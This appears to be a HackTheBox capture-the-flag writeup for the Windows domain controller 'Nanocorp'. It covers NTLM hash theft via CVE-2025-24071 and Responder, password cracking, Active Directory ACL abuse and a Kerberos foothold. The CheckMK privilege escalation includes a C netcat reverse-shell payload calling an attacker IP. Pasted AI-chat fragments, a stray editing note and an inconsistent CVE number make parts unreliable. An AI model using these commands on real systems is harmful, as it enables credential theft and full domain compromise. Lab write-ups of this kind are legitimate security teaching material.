> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/htbwriteups/nanocorp-htb-hackthebox-writeup-or-by-alham-rizvi.md). # Nanocorp HTB - HackTheBox Writeup | By Alham Rizvi

Hey everyone, I'm back with another Hack The Box writeup. In this writeup, we'll take a look at **Nanocorp**, a Windows Active Directory machine featuring NTLM hash disclosure, BloodHound abuse, Kerberos authentication, and privilege escalation to SYSTEM. This machine was really interesting because it introduced several Active Directory attack paths. During the exploitation process, I learned how to abuse **CVE-2025-24071** to capture NTLM hashes, use **BloodHound** to identify privilege escalation paths, leverage **Kerberos authentication** when standard authentication methods were restricted, and exploit a vulnerable **CheckMK Agent** installation to obtain **NT AUTHORITY\SYSTEM** privileges. So, let's get started! ### Reconnaissance #### Nmap Scan ```bash nmap -A -Pn 10.129.243.199 -oN nmapresult.txt ``` Output: ``` 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open ncacn_http 636/tcp open ldapssl 3268/tcp open ldap 3269/tcp open globalcatLDAPssl 5986/tcp open ssl/http ``` The scan identified a Windows Active Directory Domain Controller. LDAP, Kerberos, SMB, and Global Catalog services are exposed. The LDAP service revealed the domain name: ``` Domain: nanocorp.htb ``` The SSL certificate on port `5986` revealed the hostname: ``` commonName=dc01.nanocorp.htb ``` This confirms that the target is the domain controller `dc01.nanocorp.htb` in the `nanocorp.htb` domain. WinRM is available on port `5986`, which may allow remote access after obtaining valid credentials. #### Hosts File Update ```bash echo "10.129.243.199 nanocorp.htb dc01.nanocorp.htb" | sudo tee -a /etc/hosts ``` This allows the domain and hostname to resolve locally during enumeration. ### Web Enumeration After identifying the web service on port `80`, the website was opened in a browser. Navigating to `http://nanocorp.htb` revealed a simple corporate landing page. The page contained four sections: * Welcome * About Us * Our Work * Contact

No authentication portal or sensitive information was visible on the main page. The site appeared to be a static company website with limited functionality. Further enumeration was required to identify hidden content and additional attack surface. ### Subdomain Enumeration Virtual host enumeration identified an additional subdomain. ```bash ffuf -u http://nanocorp.htb -H "Host: FUZZ.nanocorp.htb" \ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \ -fs ``` Output: ``` hire.nanocorp.htb ``` The discovered subdomain hosted a recruitment portal that allowed résumé uploads.

### File Upload Analysis Browsing to `hire.nanocorp.htb` revealed a form that accepted .ZIP, .RAR, and .7Z archives. An upload request was captured and replayed with `curl`. ```bash curl http://hire.nanocorp.htb/upload.php \ -F 'fullname=Testicles Ejaculator' \ -F 'email=testicles@gmail.com' \ -F 'position= Testicular Ejaculator Analyst' \ -F 'resume=@phishing_resume.zip;type=application/zip' ``` Output: ``` Warning: mime_content_type(C:\xampp\tmp\php7BBF.tmp): Failed to open stream: Invalid argument Invalid file type. Only ZIP, 7Z, and RAR files are allowed. ``` The error message disclosed the backend path: ``` C:\xampp\htdocs\hire\upload.php ``` This confirmed the application was running on a Windows server using XAMPP. Several archive extraction attacks were tested, including Zip Slip payloads designed to write files outside the extraction directory. The payloads were successfully uploaded but no files were written to the target locations. These tests did not result in code execution or arbitrary file write access, indicating that the archive extraction process was likely protected against straightforward path traversal attacks. ### Researching the Upload Functionality During testing, traditional archive extraction attacks did not result in code execution or arbitrary file writes. Further research into Windows archive-handling vulnerabilities led to **CVE-2025-24071**. #### CVE-2025-24071: NTLM Hash Leak via RAR/ZIP Extraction and .library-ms File

CVE-2025-24071 is an NTLM disclosure vulnerability affecting Windows systems. The vulnerability abuses `.library-ms` files embedded inside an archive. ^*"A*^{* *}^{***.library-ms***}^{* *}^{*file is a configuration file used by Microsoft Windows. It powers "Windows Libraries" (like Documents, Music, and Pictures), allowing you to group multiple folders scattered across your computer or network into a single, unified view without physically moving the files"*} When a vulnerable Windows system extracts the archive, Windows automatically processes the `.library-ms` file and attempts to access a remote SMB share specified within it. This triggers an outbound authentication request and leaks the victim's NTLM hash. No user interaction is required beyond extracting the archive. For the writeup, don't include all the ping output. Just show the important steps. I used a public PoC was used to generate a malicious archive. #### Generating the Malicious Archive ```bash git clone https://github.com/0x6rss/CVE-2025-24071_PoC cd CVE-2025-24071_PoC python3 poc.py ``` Output: ``` Enter your file name: test Enter IP (EX: 192.168.1.162): 10.129.243.199 completed ``` The generated archive contained a malicious `.library-ms` file configured to contact the attacker's SMB server. #### Starting Responder Before uploading the archive, Responder was started to capture incoming NTLM authentication requests. ```bash sudo responder -I tun0 ``` #### Uploading the Archive The generated archive was uploaded through the recruitment portal. ```bash curl http://hire.nanocorp.htb/upload.php \ -F 'fullname=test' \ -F 'email=test@t.com' \ -F 'position=test analyst' \ -F 'resume=@test.zip' ``` After the archive was processed, Responder received an SMB authentication request from the target. Output: ``` [SMB] NTLMv2-SSP Client : 10.129.243.199 [SMB] NTLMv2-SSP Username : NANOCORP\web_svc [SMB] NTLMv2-SSP Hash : web_svc::NANOCORP: ``` The authentication request originated from the target server and disclosed the NTLMv2 hash of the `web_svc` account. ### Cracking the Hash The captured hash was saved to a file and cracked using Hashcat with the `rockyou.txt` wordlist. ```bash hashcat -m 5600 web_svc.hash /usr/share/wordlists/rockyou.txt ``` Output: ``` 5600 | NetNTLMv2 | Network Protocol WEB_SVC::NANOCORP::dksehdgh712!@# ``` Hashcat successfully recovered the password for the `web_svc` account. Credentials obtained: ``` Username: web_svc Password: dksehdgh712!@# ``` These credentials provided a valid domain account and were used during the next phase of enumeration. ### AD Enumeration The recovered `web_svc` credentials were used to collect Active Directory data. ```bash rusthound -z -c All -d nanocorp.htb -u web_svc -p dksehdgh712!@# ``` The resulting archive was imported into BloodHound for analysis. #### BloodHound Analysis

BloodHound revealed that the `web_svc` account had permission to **add itself** to the `IT_SUPPORT` group. The `IT_SUPPORT` group possessed the `ForceChangePassword` privilege over the `monitoring_svc` account. Additionally, `monitoring_svc` had remote management privileges on the domain. #### Adding web\_svc to IT\_SUPPORT ``` bloodyAD -d --host -u -p '' ``` ```bash bloodyAD -d nanocorp.htb \ --host dc01.nanocorp.htb \ -u web_svc \ -p 'dksehdgh712!@#' \ add groupMember 'IT_SUPPORT' web_svc [+] web_svc added to IT_SUPPORT ``` Output:

#### Resetting monitoring\_svc Password ```bash bloodyAD -d nanocorp.htb --host dc01.nanocorp.htb \ -u web_svc -p 'dksehdgh712!@#' \ set password 'monitoring_svc' 'P@ssword123!' ```

The password for `monitoring_svc` was successfully reset. #### Testing the New Credentials ```bash nxc smb dc01.nanocorp.htb \ -u monitoring_svc \ -p 'P@ssword123!' ``` Output: ``` SMB 10.129.243.199 445 DC01 [*] Windows Server 2022 Build 20348 x64 SMB 10.129.243.199 445 DC01 [-] nanocorp.htb\monitoring_svc:P@ssword123! STATUS_ACCOUNT_RESTRICTION ``` The password change was successful, but the account was subject to logon restrictions, preventing SMB authentication. Further enumeration was required to identify an allowed authentication method. The password for `monitoring_svc` was successfully reset. ### Kerberos Authentication The Nmap scan previously revealed a significant clock skew. To obtain a Kerberos ticket, the local time was adjusted and a Kerberos configuration file was generated. ```bash sudo ntpdate 10.129.243.199 ``` ```bash nxc smb dc01.nanocorp.htb \ -u web_svc \ -p 'dksehdgh712!@#' \ --generate-krb5-file nanocorp.krb5.conf ``` ```bash export KRB5_CONFIG=$PWD/nanocorp.krb5.conf ``` A Kerberos TGT was then requested for `monitoring_svc`. ```bash getTGT.py nanocorp.htb/monitoring_svc:'P@ssword123!' ``` Output: ``` [*] Saving ticket in monitoring_svc.ccache ``` ```bash $ export KRB5CCNAME=$PWD/monitoring_svc.ccache ``` The cached ticket was verified using NetExec. ```bash nxc smb dc01.nanocorp.htb -k --use-kcache ``` Output: ``` SMB dc01.nanocorp.htb 445 DC01 [+] NANOCORP.HTB\monitoring_svc from ccache ``` The Kerberos ticket authenticated successfully as `monitoring_svc`. ### Foothold I used evil-winrmexec, cause it worked! ```bash python3 evil_winrmexec.py dc01.nanocorp.htb -k -no-pass -ssl ``` A PowerShell session was obtained as `monitoring_svc`. Then we found the user flag, confirming successful foothold on the target system. You're in the shell as `monitoring_svc` and have winPEAS output. Here's what matters for privilege escalation: **Key findings from winPEAS:** **1. Checkmk monitoring agent is running** ``` Checkmk Service - "C:\Program Files (x86)\checkmk\service\check_mk_agent.exe" Port 6556 listening C:\Users\All Users\checkmk\agent\check_mk.user.yml ← access denied but exists ``` This is significant, Checkmk agents often store credentials or run with elevated privileges. **2. XAMPP is installed with a web server** ``` httpd running on port 80 C:\xampp\ — MySQL, PHP, Apache all present PHP session files in C:\xampp\tmp\ ``` Check the web app configs for credentials: ```powershell type C:\xampp\htdocs\* type C:\xampp\mysql\bin\my.ini dir C:\xampp\htdocs\ -recurse ``` **3. UAC is disabled** ``` EnableLUA: 0 ``` Any local admin account can be used without UAC bypass. **4. Certificate with private key** ``` CN=dc01.nanocorp.htb - KeyExportable: True - Client Authentication enabled ``` Could be used for certificate-based attacks. **Next step — check Checkmk config:** ```powershell type "C:\ProgramData\checkmk\agent\check_mk.user.yml" dir "C:\Program Files (x86)\checkmk\" -recurse ``` The Checkmk agent is the most interesting path to SYSTEM here. and blah blah blah! ### Privilege Escalation

#### Discovering CheckMK Enumeration of installed software revealed a CheckMK agent installation. ```powershell gci C:\progra~2 ``` Output: ``` Directory: C:\Program Files (x86) checkmk ``` ^{*"Checkmk is a legitimate IT monitoring platform used by sysadmins to monitor servers, services, and infrastructure. It's similar to Nagios or Zabbix. The agent runs on monitored machines and sends data back to a central Checkmk server."*} The installation details,. ``` DisplayName REG_SZ Check MK Agent 2.1 DisplayVersion REG_SZ 2.1.0.50010 InstallSource REG_SZ C:\Users\web_svc\Desktop\ ``` Two important details were identified: * CheckMK Agent version `2.1.0.50010` * The software was installed by `web_svc` Researching this version led to **CVE-2024-0670**, a file hijacking vulnerability affecting CheckMK Agent. **CVE-2024-6670 - Checkmk Privilege Escalation** [**https://github.com/tralsesec/CVE-2024-0670**](https://github.com/tralsesec/CVE-2024-0670) This is a publicly disclosed vulnerability in the Checkmk agent for Windows,\ The Checkmk Windows agent stores its configuration in a way that allows a low-privileged user to modify certain config files. Because the agent service runs as SYSTEM, it can be abused to execute arbitrary commands as SYSTEM. #### Accessing C:\Windows\Temp as web\_svc The vulnerable application interacts with files inside `C:\Windows\Temp`. Since `monitoring_svc` could not access the directory, `RunasCs` was used to execute commands as `web_svc`. ^*"*[^*RunasCs*](https://github.com/antonioCoco/RunasCs) ^{*is an improved, open-source C# alternative to the built-in Windows*}^{* *}^{*`runas.exe`*}^{*. It allows you to run processes and spawn command shells using explicit credentials for a different user account. \[*}[^*1*](https://github.com/antonioCoco/RunasCs)^*,* [^*2*](https://rgbwiki.com/Red%20Cell/05.%20Tunneling%20%26%20Lateral%20Movement/Lateral%20Movement/RunasCS/)^{*]Key Advantages over Built-in*}^{* *}^*`runas`* * ^{***Explicit Credentials:***}^{* *}^{*Allows you to pass the password directly on the command line.*} * ^{***No Interactive Session Requirement:***}^{* *}^{*Works perfectly when spawned from a service or background process.*} * ^{***UAC Bypass:***}^{* *}^{*Includes a*}^{* *}^{*`--bypass-uac`*}^{* *}^{*flag to launch processes without restricted token limitations when an administrator password is known.*} * ^{***Advanced Logon Types:***}^{* *}^{*Supports different Windows logon types (like NetworkCleartext) which can bypass UAC or maintain network authentication. "*} ```powershell .\racs.exe web_svc 'dksehdgh712!@#' 'powershell -c gci C:\Windows\Temp\' ``` Output: ``` Directory: C:\Windows\Temp ... ``` #### Monitoring Temporary Files A PowerShell script was created to monitor `C:\Windows\Temp` for files matching the CheckMK naming pattern. ```powershell mkdir C:\Temp $LogFile = "C:\Temp\monitor_log.txt" while ($true) { $Files = Get-ChildItem -Path C:\Windows\Temp -Force -ErrorAction SilentlyContinue $TargetFiles = $Files | Where-Object { $_.Name -like "cmk_all_*_*.cmd" } if ($TargetFiles) { $Timestamp = Get-Date -Format "HH:mm:ss.fff" $TargetFiles | ForEach-Object { Add-Content -Path $LogFile -Value "$Timestamp [FOUND] $($_.Name)" } } Start-Sleep -Milliseconds 50 } ``` The monitor was launched as `web_svc`. ```powershell .\racs.exe web_svc 'dksehdgh712!@#' 'cmd /c start /b powershell -File C:\Temp\monitor.ps1' ``` #### Triggering CheckMK The agent repair process was started. ```powershell .\racs.exe web_svc 'dksehdgh712!@#' 'cmd /c msiexec /fa {675A6D5C-FF5A-11EF-AEA3-1967AD678D6D} /qn' ``` Checking the log confirmed the expected file name pattern. ```powershell type C:\Temp\monitor_log.txt ``` Output: ``` [FOUND] cmk_all_5888_1.cmd ``` The vulnerable application created files using the pattern: ``` cmk_all__1.cmd ``` #### Determining the PID Range The highest active PID was checked. ```powershell Get-Process | Sort-Object ID | Select -Last 1 ``` Output: ``` Id : 7044 ``` A payload was prepared for a broad PID range to ensure the correct filename would be present. #### Preparing the Payload A small executable was created to launch Netcat. ```c #include int main() { system("cmd.exe /c C:\\Temp\\nc.exe -e cmd.exe 10.10.16.145 9001"); return 0; } ``` The payload was compiled with Zig. ```bash zig cc main.c -target x86_64-windows \ -ffunction-sections \ -fdata-sections \ -s \ -o rev.exe ``` Output: ``` 19K rev.exe ``` #### Verifying Available Disk Space ```powershell .\racs.exe web_svc 'dksehdgh712!@#' 'powershell -c Get-CimInstance -ClassName win32_logicaldisk | select DeviceID,Size,FreeSpace' ``` Output: ``` DeviceID Size FreeSpace C: 22GB 4.8GB ``` Enough free space was available to create thousands of payload copies. #### Deploying the Payloads A Netcat listener was started. ```bash rlwrap nc -lvnp 4444 ``` Payload files were copied into `C:\Windows\Temp` using the discovered naming convention. ```powershell 1..9000 | foreach { copy-item C:\Temp\rev.exe C:\Windows\Temp\cmk_all_${_}_1.cmd Set-ItemProperty ` -Path C:\Windows\Temp\cmk_all_${_}_1.cmd ` -Name IsReadOnly ` -Value $true } ``` The CheckMK repair process was triggered again. ```powershell .\racs.exe web_svc '' 'cmd /c msiexec /fa {675A6D5C-FF5A-11EF-AEA3-1967AD678D6D} /qn' ``` #### SYSTEM Shell A reverse shell connected back immediately. ``` Microsoft Windows [Version 10.0.20348.3207] C:\Windows\system32> whoami nt authority\system ``` The CheckMK service executed the payload as `NT AUTHORITY\SYSTEM`, resulting in full system compromise.

### **Summary** Here's a full summary of everything covered in my writeup: ### _{Phase 1 — CVE-2025-24071 (WinRAR/ZIP NTLM Leak)} **Concept:** Uploading a malicious ZIP to the hiring page triggers Windows Explorer to resolve a UNC path inside the archive, sending the user's NTLMv2 hash to your machine. **Result:** `web_svc` credentials. ### _{Phase 2 — Active Directory ACL Abuse(Access Control List Abuse)} **Concept:** BloodHound reveals an ACL chain — `web_svc` can join `IT_SUPPORT`, which can `ForceChangePassword` on `monitoring_svc`. ### _{Phase 3 - Kerberos Auth (Protected User + Clock Skew)} **Concept:** `monitoring_svc` is a Protected User — NTLM auth is blocked. Must use Kerberos. 7hr clock skew must be accounted for. **Result:** Shell as `monitoring_svc`. ### _{Phase 5 — CVE-2024-0670 (Checkmk Privilege Escalation)} **Concept:** Checkmk agent (v2.1) runs as SYSTEM. During MSI self-repair it creates a `.cmd` file in `C:\Windows\Temp` with a predictable name (`cmk_all__1.cmd`). If that file already exists and is read-only, the agent executes it instead of overwriting it. ### Key Concepts Summary | Concept | Tool | Why | | ------------------------- | -------------------------- | ---------------------------------------- | | NTLM hash capture via ZIP | Responder + CVE-2025-24071 | Zip triggers UNC path resolution | | Hash cracking | Hashcat mode 5600 | NetNTLMv2 format | | AD enumeration | BloodHound + RustHound | Find ACL chains | | ACL abuse | BloodyAD | ForceChangePassword via group | | Protected User bypass | Kerberos TGT | NTLM blocked for this account | | Clock skew | ntpdate / faketime | Kerberos requires <5min skew | | WinRM with Kerberos+SSL | winrmexec | evil-winrm fails on SSL+Kerberos | | Privilege escalation | CVE-2024-0670 | Checkmk predictable temp file | | AV evasion | zig + nc.exe | Avoids Defender detection | | Run as another user | RunasCs (racs.exe) | Execute as web\_svc from monitoring\_svc | --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://alham-rizvi.gitbook.io/alhamrizvi/htbwriteups/nanocorp-htb-hackthebox-writeup-or-by-alham-rizvi.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.